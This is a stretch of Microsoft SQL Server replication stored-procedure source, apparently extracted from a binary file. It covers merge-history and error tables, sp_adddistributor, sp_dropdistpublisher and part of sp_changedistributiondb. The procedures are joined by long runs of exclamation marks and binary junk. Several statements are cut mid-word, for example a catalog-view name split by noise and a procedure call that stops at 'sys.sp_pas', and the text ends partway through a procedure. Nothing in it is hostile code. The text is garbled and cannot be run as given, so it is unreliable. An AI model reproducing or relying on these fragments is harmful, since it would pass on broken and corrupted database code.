            ALTER TABLE MSmerge_sessions ADD spid smallint NULL, spid_login_time datetime NULL
            if @@error<>0 goto error
        END        
    end

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_articlehistory' and type = 'U')
    BEGIN
        CREATE TABLE dbo.MSmerge_articlehistory
        (
            session_id				int             NOT NULL,
            phase_id				int				NULL, -- 1 for upload, 2 for download
            article_name			sysname			NULL,
            start_time				datetime		NOT NULL,
            duration				int				NULL,
            inserts					int 			not NULL default 0,
            updates					int 			not NULL default 0,
            deletes					int 			not NULL default 0,
            conflicts				int 			not NULL default 0,
            rows_retried			int 			not NULL default 0,
            percent_complete		decimal(5,2)	not null default 0,
            estimated_changes		int				NULL default 0,
            relative_cost			decimal(12,2)	not null default 0	-- not decimal(5,2) because it temporarily holds absolute time values and
                                                                        -- not percentages. % are calculated at the end of session.
        )        

        exec dbo.sp_MS_marksystemobject 'MSmerge_articlehistory'
        create unique clustered index ucMSmerge_articlehistory ON dbo.MSmerge_articlehistory (session_id, phase_id, article_name) 
        create nonclustered index nc1MSmerge_articlehistory on dbo.MSmerge_articlehistory(start_time)
    END
    
    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSrepl_errors' and type = 'U')
    BEGIN
        CREATE TABLE dbo.MSrepl_errors
        (
            id                  int NOT NULL,
            time                datetime NOT NULL,
            error_type_id       int NULL,
            source_type_id      int NULL,
            source_name         nvarchar(100) NULL,
            error_code          sysname NULL,
            error_text          ntext NULL,
            xact_seqno          varbinary(16) NULL,
            command_id          int NULL,
            session_id          int null default 0
        )

        exec dbo.sp_MS_marksystemobject 'MSrepl_errors'

        CREATE CLUSTERED INDEX ucMSrepl_errors ON dbo.MSrepl_errors
            (id, time) -- WITH ALLOW_DUP_ROW
        create index nc1MSrepl_errors on MSrepl_errors (session_id)
    END
    ELSE
    BEGIN
        IF NOT EXISTS (select * from sys.columns
        where name = 'xact_seqno'
        and object_id=object_id('MSrepl_errors'))
            ALTER TABLE MSrepl_errors ADD xact_seqno varbinary(16) NULL

        IF NOT EXISTS (select * from sys.co!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<:
]&lumns
        where name = 'command_id'
        and object_id=object_id('MSrepl_errors'))
            ALTER TABLE MSrepl_errors ADD command_id int NULL
         
        IF NOT EXISTS (select * from sys.columns
        where name = 'session_id'
        and object_id=object_id('MSrepl_errors'))
            ALTER TABLE MSrepl_errors ADD session_id int null default 0
         
        if not exists (select * from sysindexes where name='nc1MSrepl_errors')
        begin
            create nonclustered index nc1MSrepl_errors on MSrepl_errors (session_id)
        end
   END
    
	exec @retcode = sys.sp_MSupgrade_merge_history90
	if @@error <> 0 or @retcode <> 0
		goto error
	
	-- If the MSmerge_history table is in the pre-Yukon format, drop and recreate it.
	if exists (select * from sys.columns
									where name = 'publisher_insertcount' and object_id=object_id('MSmerge_history'))
		drop table dbo.MSmerge_history
											
	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_history' and type = 'U')
	BEGIN
		CREATE TABLE dbo.MSmerge_history
		(
			session_id  int NULL,
			agent_id    int not NULL,        
			comments    nvarchar(1000) NOT NULL,
			error_id    int NOT NULL,
			timestamp   NOT NULL,
			updateable_row  bit  NOT NULL default 0,
			time    datetime not null default getdate()
		)        
		exec dbo.sp_MS_marksystemobject 'MSmerge_history'

		Create UNIQUE CLUSTERED INDEX ucMSmerge_history ON dbo.MSmerge_history (agent_id, timestamp)
		create nonclustered index nc1MSmerge_history on MSmerge_history(session_id, timestamp)
		create nonclustered index nc2MSmerge_history on MSmerge_history(timestamp)
	END
	ELSE
	BEGIN
       IF NOT EXISTS (select * from sys.columns
        where name = 'session_id'
        and object_id=object_id('MSmerge_history'))
       BEGIN         
           ALTER TABLE MSmerge_history ADD session_id int NULL
       END

       IF NOT EXISTS (select * from sys.columns
        where name = 'updateable_row'
        and object_id=object_id('MSmerge_history'))
       BEGIN         
           ALTER TABLE MSmerge_history ADD updateable_row bit not NULL default 0
       END

       IF NOT EXISTS (select * from sys.columns
        where name = 'time'
        and object_id=object_id('MSmerge_history'))
       BEGIN         
           ALTER TABLE MSmerge_history ADD time datetime not null default getdate()
       END
       
       if not exists (select * from sysindexes where name='ucMSmerge_history')
       begin
           Create UNIQUE CLUSTERED INDEX ucMSmerge_history ON dbo.MSmerge_history (agent_id, timestamp)
       end

       if exists( select * from sysindexes where name = 'nc1MSmerge_history' AND 
			id = OBJECT_ID('MSmerge_history'))
  	begin
		drop index dbo.MSmerge_history.nc1MSmerge_history
	end
	if exists(select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'session_id')
	  and exists (select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'timestamp')
       	create nonclustered index nc1MSmerge_history on MSmerge_history(session_id, timestamp)

       
       if not exists (select * from sysindexes where name='nc2MSmerge_history')
       begin
           create nonclustered index nc2MSmerge_history on MSmerge_history(timestamp)
       end

	END

   
    if @subside = 0
    begin
        if object_id('dbo.MSmerge_identity_range_allocations', 'U') is NULL
        begin
            CREATE TABLE dbo.MSmerge_identity_range_allocations
            (
                publisher_id        smallint NOT NULL,
                publisher_db        sysname NOT NULL,
                publication         sysname NOT NULL,
                article             sysname NOT NULL,
                subscriber          sysname NULL,
                subscriber_db       sysname NULL,
                is_pub_range        bit NOT NULL,
                ranges_allocated    tinyint NOT NULL,
                range_begin         numeric(38,0) NULL,
                range_end           numeric(38,0) NULL,
                next_range_begin    numeric(38,0) NULL,
                next_range_end      numeric(38,0) NULL,
                max_used            numeric(38,0) NOT NULL,
                time_of_allocation  datetime null default getdate()
            )
            exec dbo.sp_MS_marksystemobject 'MSmerge_identity_range_allocations'
            
            CREATE CLUSTERED INDEX cMSmerge_identity_range_allocations ON dbo.MSmerge_identity_range_allocations
                (publisher_id, publisher_db, publication, article) -- it is not a unique index. 
        end
    end

    return 0

error:
    return 1
end
8!8          end
        end                

        fetch hCarticleobject into @objid, @articletype        
    end

    close hCarticleobject
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursoropened = 0
    
    deallocate hCarticleobject
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @cursorallocated = 0

    -- 4)
    exec @retcode = sys.sp_replflush
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
        
    commit transaction
    if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto Failure end
    select @transactionopened = 0

Failure:

    if @cursoropened = 1    
    begin
        close hCarticleobject
    end

    if @cursorallocated = 1
    begin
        deallocate hCarticleobject
    end

    if @transactionopened = 1
    begin
        rollback transaction sp_MSdisableautonosync     
        commit transaction
    end

    return @retcode
end
+inary10(LastLsn) 
      from #restore_headeronly
     where upper(ServerName collate database_default) = upper(@backupservername)
       and DatabaseName = @backupdatabase 
     order by LastLsn desc

    if @@error<>0 begin select @retcode = 1 goto Failure end

    if @lastlsn is null
    begin
        declare @quoteddb nvarchar(4000)
        select @quoteddb = sys.fn_replquotename(@backupservername, default) collate database_default + N'.' + 
                           sys.fn_replquotename(@backupdatabase, default) collate database_default
        raiserror(18782,16,-1,@quoteddb)
        select @retcode = 1
        goto Failure
    end

Failure:
    
    if @table_created = 1
    begin
        drop table #restore_headeronly 
    end

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^/`<(+[vcreate procedure sys.sp_adddistributor (
    @distributor sysname,            /* distributor server name */
    @heartbeat_interval int = 10,    	-- minutes
    @password sysname = NULL, 
    @from_scripting bit = 0
) 
AS
BEGIN

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode int
                ,@agentname nvarchar(100)
                ,@command nvarchar(255)
                ,@distribution_db sysname
                ,@distproc nvarchar(255)
                ,@dist_rpcname sysname
                ,@dist_datasource sysname
                ,@server_added bit
                ,@login sysname
                
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @server_added = 0 
    select @login = 'distributor_admin'

    -- Verify that this SKU is allowed to be a distributor
    exec @retcode= sys.sp_MSsku_allows_replication
    if @@error<>0 return 1
    if @retcode <> 0
    begin
        raiserror(21105, 16, -1)
        return (1)
    end

    /* 
    ** Check if replication components are installed on this server
    */
    exec @retcode = sys.sp_MS_replication_installed
    if (@retcode <> 1)
    begin
        return (1)
    end

    -- Must be at master db.
    IF db_name() <> 'master'
    BEGIN
        RAISERROR(5001, 16,-1)
        return (1)
    END
    /*
    ** Parameter Check:  @distributor.
    ** Check to make sure that the distributor is not NULL and that it
    ** conforms to the rules for identifiers.
    */
    IF @distributor IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@distributor', 'sp_adddistributor')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @distributor

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
	
 	-- Verify password
 	IF (@password IS NULL) OR (@password = N'')
	BEGIN
		IF (UPPER(CONVERT(sysname, ServerProperty('ServerName'))) = UPPER(@distributor))
		BEGIN
		    -- LOCAL DISTRIBUTOR: Seed password with random value
	        SELECT @password = convert(sysname, newid())
		END
		ELSE
		BEGIN
			-- REMOTE DISTRIBUTOR: Require non-null password for security
			RAISERROR(21768, 16, -1)
			RETURN (1)
		END
	END

	if isnumeric(@heartbeat_interval) = 0 or convert(int, isnull(@heartbeat_interval, 0)) < 1
	begin
		raiserror (21115, 16, -1, @heartbeat_interval, '@heartbeat_interval')
		return 1
	end
	
    /*
    ** Check to make sure that the distributor doesn't already exist.
    */
    SELECT @dist_rpcname = NULL
    SELECT @dist_rpcname = srvname
               ,@dist_datasource = datasource 
    FROM master.dbo.sysservers
    WHERE  srvstatus & 8 <> 0
    IF @dist_rpcname IS NOT NULL
    BEGIN
        RAISERROR (14099, 16, -1, @dist_datasource)
        RETURN(1)
    END

    -- drop repl_distributor if it exists.
    if exists (select * from master.dbo.sysservers where lower(srvname collate SQL_Latin1_General_CP1_CS_AS) = 
        N'repl_distributor'  collate SQL_Latin1_General_CP1_CS_AS)
    begin
        exec @retcode = sys.sp_dropserver 'repl_distributor', 'droplogins'
        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RETURN(1)
        END
    end

    -- Add the linked server entry for the distributor
    -- Note we do this even for local server for consistancy
    EXECUTE @retcode = sys.sp_addserver  'repl_distributor'
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    select @server_added = 1

    -- Mark system link
    EXECUTE @retcode = sys.sp_serveroption  'repl_distributor', 'system','true'
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        goto UNDO
    END

    -- We will always use UPPERCASE name
    select @distributor = upper(@distributor)
    EXECUTE @retcode = sys.sp_setnetname  'repl_distributor', @distributor
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        goto UNDO
    END
        
    exec @retcode = sys.sp_addlinkedsrvlogin 
        @rmtsrvname= 'repl_distributor',
        @useself = 'false',
        @locallogin = NULL,
        @rmtuser = @login,
        @rmtpassword = @password
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        goto UNDO
    END

    /*
    ** If this is not the local server, remote distributor must be set up first
    */
    IF UPPER(@distributor) <> UPPER(@@SERVERNAME)
    BEGIN
		-- make sure distributor version is >= publisher version
		declare @dist_ver bigint
		select @dist_ver = 0
		EXEC @retcode = repl_distributor.master.sys.sp_executesql N'select @dist_ver = @@microsoftversion', 
		                                N'@dist_ver bigint output', @dist_ver output
		IF (@retcode <> 0 or @@ERROR <> 0)
		begin
		        GOTO UNDO
		end
		-- compare major versions
		if (@dist_ver & 0xFF000000 < @@microsoftversion & 0xFF000000 )
		begin
		        RAISERROR (21320,16,-1)
		        GOTO UNDO
		end
		/*
		** Test to see if the local server is defined as publisher/subscriber
		** at the remove distributor.
		** Note: cannot call sp_helpdistributor locally since the server is not
		** marked for distribution.
		** We can not move the serveroption call before this RPC because RPC failure
		** may cause the SP to terminate. Thus, we can not UNDO the server option.
		*/
		SELECT @distproc = 'repl_distributor.master.sys.sp_helpdistributor'
    
		DECLARE @loc_directory             nvarchar(255)
		DECLARE @loc_account             nvarchar(255)
		DECLARE @loc_mindistretention     int
		DECLARE @loc_maxdistretention     int
		DECLARE @loc_historyretention   int  
		DECLARE @loc_historycleanupagent nvarchar(100)
		DECLARE @loc_distribcleanupagent nvarchar(100)
		DECLARE @alert_name nvarchar(100)
		DECLARE @alert_id int

		--
		-- from publisher
		--
	    EXECUTE @retcode = @distproc
			@distributor = @distributor OUTPUT,
			@distribdb = @distribution_db OUTPUT,
			@directory = @loc_directory OUTPUT,
			@account = @loc_account OUTPUT,
			@min_distretention = @loc_mindistretention OUTPUT,
			@max_distretention = @loc_maxdistretention OUTPUT,
			@history_retention = @loc_historyretention OUTPUT,
			@history_cleanupagent = @loc_historycleanupagent OUTPUT,
			@distrib_cleanupagent = @loc_distribcleanupagent OUTPUT,
			@publisher = @@SERVERNAME,
			@local = 'local'
		IF @@error <> 0 OR @retcode <> 0 OR @distribution_db is NULL
		BEGIN
			RAISERROR (21007,16,1)
			GOTO UNDO
		END

		--cleanup potential leftover here rather than in sys.sp_changedistpublisher as it used to be
		--because sp_changedistpublisher is public proc which can be called by user in ad-hoc fashion
		if @distribution_db is not null 
		begin 
			SELECT @distproc = 'repl_distributor.' + quotename(@distribution_db) + '.sys.sp_MSdistpublisher_cleanup'
			EXECUTE @retcode = @distproc @@SERVERNAME
			IF @@error <> 0 OR @retcode <> 0
			BEGIN
				GOTO UNDO
			END
		end 

		/* Activate the dist publisher at the remote distributor */
		SELECT @distproc = 'repl_distributor.master.sys.sp_changedistpublisher'
		EXECUTE @retcode = @distproc @@SERVERNAME, 'active','true'
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			GOTO UNDO
		END
	END
	ELSE
	/* set the registry */
	BEGIN
		EXEC @retcode = sys.sp_MScreate_distributor_tables 
		if @@error <> 0 or @retcode <> 0
			goto UNDO

		declare @distributor_login sysname
		select @distributor_login = 'distributor_admin'

		-- Add publisher/subscriber rpc login
		if not exists (select * from master.dbo.syslogins where loginname = @distributor_login collate database_default)
		begin
			EXEC @retcode = sys.sp_addlogin @loginame = @distributor_login,
					@passwd = @password
			if @@error <> 0 or @retcode <> 0
				goto UNDO
		end
		else
		begin
			-- Change the password if the distributor is local
			EXEC @retcode = sys.sp_pas!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+OYv~
--
-- Name:    
--          sp_dropdistpublisher
--          
-- Description: 
--          Drops a distribution Publisher.
--			This stored procedure is executed at the Distributor on any database.
--  
-- Security: 
--          Public
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_dropdistpublisher
(
	@publisher			sysname,
	@no_checks			bit = 0,
	@ignore_distributor	bit = 0
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distaccount nvarchar(127)
    DECLARE @proc nvarchar (255)
    DECLARE @retcode int
    DECLARE @privilege sysname
    DECLARE @return_status int
    DECLARE @found int
    DECLARE @distribdb sysname
    DECLARE @command nvarchar(255)
    DECLARE @active_value int
    DECLARE @publish_bit int
    DECLARE @mergepub_bit int
    DECLARE @vendor sysname
    DECLARE @publisher_type sysname
    DECLARE @tempdistr sysname
    DECLARE @tempdistrdb sysname
    DECLARE @cmd nvarchar(255)
    DECLARE @publisher_db sysname
	DECLARE @hrepl bit
    DECLARE @sa_login sysname

    SELECT @found = 0
	SELECT @hrepl = 1

    SELECT @publish_bit = 1
    SELECT @mergepub_bit = 4

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Parameter Check:  @publisher.
    ** Check to make sure that the publisher exists, that the name isn't
    ** NULL, and that the name conforms to the rules for identifiers.
    */

    IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_dropdistpublisher')
		RETURN (1)
	END

    EXECUTE @retcode = sys.sp_validname @publisher

    IF @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Make publisher name case insensitive
    SELECT @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    
    /*
    ** Get distribution server information for remote RPC
    ** agent verification.
    */
    EXEC @retcode =	sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@distributor	= @distributor    OUTPUT,
														@distribdb		= @distribdb      OUTPUT,
														@publisher_type	= @publisher_type OUTPUT

    IF @@error <> 0 OR @retcode <> 0 OR @distributor IS NULL
	BEGIN
		RAISERROR (14071, 16, -1)
		RETURN (1)
    END
    
    /*
    ** Only a local distributor can be modified.
    */
    IF UPPER(@distributor) <> UPPER(@@SERVERNAME)
	BEGIN
		RAISERROR (14114, 16, -1, @@SERVERNAME)
		RETURN (1)
	END

    -- Verify publisher exists
    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	msdb..MSdistpublishers
		WHERE	UPPER(name  collate database_default) = UPPER(@publisher) collate database_default
	)
    BEGIN
        RAISERROR (14080, 11, -1, @publisher)
        RETURN (1)
    END

    IF @publisher_type = N'MSSQLSERVER' AND UPPER(@publisher) = UPPER(@@SERVERNAME)
    BEGIN
        /* 
        ** If @publisher is local, 
        ** 1. check to make sure there is no subscriber for publisher in distribution database
        ** 2. check to make sure there no databases enabled for replication
        */
		IF @ignore_distributor = 0
		BEGIN
			-- Check to see if there are subscribers defined.
			EXEC @retcode = sys.sp_MSrepl_helpsubscriberinfo	@publisher  = @publisher,
																@subscriber = N'%',
																@found		= @found OUTPUT

			IF @retcode <> 0 OR @@ERROR <> 0
			BEGIN
				RETURN (1)
			END

			IF @found = 1
			BEGIN
				RAISERROR(21047, 16, -1)
				RETURN(1)
			END
		END

		-- Check to see if any db's enabled for replication
        IF EXISTS
        (
        	SELECT	*
        	FROM	master.dbo.sysdatabases
        	WHERE	(category & @publish_bit) <> 0
        	   OR	(category & @mergepub_bit) <> 0
        )
        BEGIN 
            RAISERROR (21033, 16, -1, @@SERVERNAME)
            RETURN (1)
        END
    END
    ELSE
    BEGIN
        IF @no_checks = 0
        BEGIN
            /* 
            ** If the publisher is remote, check the status of the distpublisher 
            ** The status will be inactive if the remote publisher dropped the
            ** distributor.
            */
            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
                IF EXISTS
                (
                	SELECT	*
                	FROM	msdb.dbo.MSdistpublishers
                	WHERE	UPPER(name  collate database_default) = UPPER(@publisher) collate database_default
                	  AND	active = 1
                )
                BEGIN
                    RAISERROR (14098, 16, -1, @publisher, @@SERVERNAME)
                    RETURN (1)
                END
            END
        END
    END

	IF @ignore_distributor = 0
	BEGIN
		IF NOT @publisher_type = N'MSSQLSERVER'
		BEGIN
			SELECT @command = QUOTENAME(@distribdb) + '.sys.sp_IHdroppublisher'
			exec @retcode = @command @publisher, @publisher_type, @no_checks
			
			IF ((@retcode != 0) OR (@@ERROR != 0)) AND (@no_checks = 0)
			BEGIN
				-- Note failure and return an error at the end
				SET @hrepl = 0
			END
		END

		SELECT @command = QUOTENAME(@distribdb) + '.dbo.sp_MSdistpublisher_cleanup'
		EXEC @retcode = @command @publisher
		IF @retcode <> 0 or @@error <> 0
		BEGIN
			RETURN(1)
		END
	END

    DECLARE @fExists int

	-- get the servername that was persisted in the sysservers table
    SELECT @publisher = sys.fn_getpersistedservernamecasevariation(@publisher) collate database_default
    SELECT @sa_login = SUSER_SNAME(0x01)
    
 
    EXEC @fExists = sys.sp_MSIfExistsRemoteLogin @publisher,
    											'distributor_admin',
    											@sa_login

    IF (@fExists = 1)
    BEGIN
		EXEC @retcode = sys.sp_dropremotelogin	@publisher,
												'distributor_admin',
												@sa_login

		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			RETURN (1)
		END
    END

    EXEC @fExists = sys.sp_MSIfExistsRemoteLogin	@publisher,
    												'distributor_admin',
    												'distributor_admin'
    
    IF (@fExists = 1)
    BEGIN
		EXECUTE @retcode = sys.sp_dropremotelogin	@publisher,
       												'distributor_admin',
       												'distributor_admin'
       												
		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			RETURN (1)
		END
    END

	-- store entry prior to delete so we can manually rollback
	-- in case of a failure durring the remaining steps. we can
	-- not use transactions since sp_dropserver can not be exec'd
	-- within a transaction... and we can not wait on the delete
	-- till after the dropserver since drop server will check for 
	-- this entry and fail if there is a distpub for this server
	SELECT *
		INTO #MSdistpublishers
		FROM msdb..MSdistpublishers
		WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
	
    -- Remove the publisher now that most of cleanup has completed
	-- only thing that remains is the dop of server...
    DELETE msdb..MSdistpublishers
    	WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
    IF @@ERROR <> 0
    BEGIN
    	RETURN (1)
    END
    
	IF (@publisher_type = N'MSSQLSERVER')
	BEGIN
		--
		-- SQL Server specific
		-- drop RPC server entry for remote publisher
		--
		IF (upper(@distributor) != upper(@publisher))
		BEGIN
			IF EXISTS
			(
				SELECT	*
				FROM	master.dbo.sysservers
				WHERE	upper(srvname collate database_default) = upper(@publisher)
			)
			BEGIN
				EXEC @retcode = sys.sp_dropserver @publisher, 'droplogins'

				IF (@@error != 0 or @retcode != 0)
				BEGIN
					GOTO FAILURE
				END
			END
		END
	END
	ELSE
	BEGIN
		-- For heterogeneous publishers drop the remote server and it's logins
		exec @retcode = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(T,=gxvcreate procedure sys.sp_changedistributiondb (
    @database sysname,
    @property sysname     = NULL,     /* The property to change */
    @value nvarchar(255)     = NULL      /* The new property value */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @distributor sysname
    DECLARE @min_distretention     int
    DECLARE @max_distretention     int
    DECLARE @retcode             int
    DECLARE @new_min_distretention     int
    DECLARE @new_max_distretention     int
    DECLARE @new_history_retention     int
    DECLARE @agentname nvarchar(100)
    DECLARE @command nvarchar(255)
    DECLARE @security_mode int
    DECLARE @distbit int


    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    SELECT @distbit = 16

    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default not null)
            INSERT INTO #tab1 VALUES ('min_distretention')
            INSERT INTO #tab1 VALUES ('max_distretention')
            INSERT INTO #tab1 VALUES ('history_retention')
            SELECT * FROM #tab1
            RETURN (0)
        END

    /*
    ** Parameter Check:  @property.
    ** Check to make sure that @property is a valid property in
    ** sysarticles.
    */
    IF @property IS NULL OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT IN 
                                                    ('min_distretention',
                                                     'max_distretention',
                                                     'history_retention')
             
        BEGIN

            RAISERROR (14115, 16, -1, 
            '''min_distretention'', ''max_distretention'' or ''history_retention''')
            RETURN (1)
        END

    /*
    ** Check to make sure this is a distributor
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysservers
              WHERE UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default
                 AND srvstatus & 8 <> 0)
    BEGIN
        RAISERROR (14114, 16, -1, @@SERVERNAME)
        RETURN(1)
    END

    /*
    ** Check if database is configured as a distributor database
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases
              WHERE name = @database collate database_default
                 AND category & @distbit <> 0)
    BEGIN
        RAISERROR (14117, 16, -1, @database)
        RETURN(1)
    END
    
    /*
    ** Change the property.
    */
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'min_distretention'
        BEGIN
            IF @value IS NULL
                BEGIN
                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistributiondb')
                    RETURN (1)
                END

            /*
            ** Set the MinDistRetention registry key value
            */
            SELECT @new_min_distretention = CONVERT(int, @value)

            /*
            ** Get MaxDistRetention value
            */
            SELECT @max_distretention = max_distretention FROM msdb..MSdistributiondbs
                WHERE name = @database collate database_default
                
            /* 
            ** Check for invalid retention values 
            */
            IF @new_min_distretention < 0
                BEGIN
                       RAISERROR(14106, 16, -1)
                    RETURN (1)
                END
            IF @new_min_distretention > @max_distretention
                BEGIN
                    RAISERROR(14107, 16, -1) 
                    RETURN (1)
                END

            UPDATE msdb..MSdistributiondbs SET min_distretention = @new_min_distretention
                WHERE name = @database collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END

            /*
            ** Update Distribution Cleanup agent 
            */
            select @agentname = name from msdb.dbo.sysjobs j, msdb.dbo.sysjobsteps s where 
            j.job_id = s.job_id and
            j.category_id = 11 and
            s.database_name = @database collate database_default
        
            SELECT @command =  'EXEC dbo.sp_MSdistribution_cleanup @min_distretention = ' + 
                CONVERT(nvarchar(12), @new_min_distretention) + ', @max_distretention = ' +
                CONVERT(nvarchar(12), @max_distretention)
            EXEC @retcode = msdb.dbo.sp_update_jobstep @job_name = @agentname, @step_id = 1, 
                @command = @command
            IF @@error <> 0 OR @retcode <> 0
               RETURN(1)

        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'max_distretention'
        BEGIN
            IF @value IS NULL
                BEGIN
                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistributiondb')
                    RETURN (1)
                END

            /*
            ** Set the MaxDistRetention registry key value
            */
            SELECT @new_max_distretention = CONVERT(int, @value)

            /*
            ** Get MinDistRetention value
            */
            SELECT @min_distretention = min_distretention FROM msdb..MSdistributiondbs
                WHERE name = @database collate database_default

            /* 
            ** Check for invalid retention values 
            */
            IF @new_max_distretention < 0
                BEGIN
                       RAISERROR(14106, 16, -1)
                    RETURN (1)
                END
            IF @new_max_distretention < @min_distretention
                BEGIN
                    RAISERROR(14107, 16, -1) 
                    RETURN (1)
                END

            UPDATE msdb..MSdistributiondbs SET max_distretention = @new_max_distretention
                WHERE name = @database collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END
            /*
            ** Update Distribution Cleanup agent 
            */
            select @agentname = name from msdb.dbo.sysjobs j, msdb.dbo.sysjobsteps s where 
                j.job_id = s.job_id and
                j.category_id = 11 and
                s.database_name = @database collate database_default
            SELECT @command =  'EXEC dbo.sp_MSdistribution_cleanup @min_distretention = ' + 
                CONVERT(nvarchar(12), @min_distretention) + ', @max_distretention = ' +
                CONVERT(nvarchar(12), @new_max_distretention)
            EXEC @retcode = msdb.dbo.sp_update_jobstep @job_name = @agentname, @step_id = 1, 
                @command = @command
            IF @@error <> 0 OR @retcode <> 0
               RETURN(1)
        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'history_retention'
        BEGIN
            IF @value IS NULL
                BEGIN
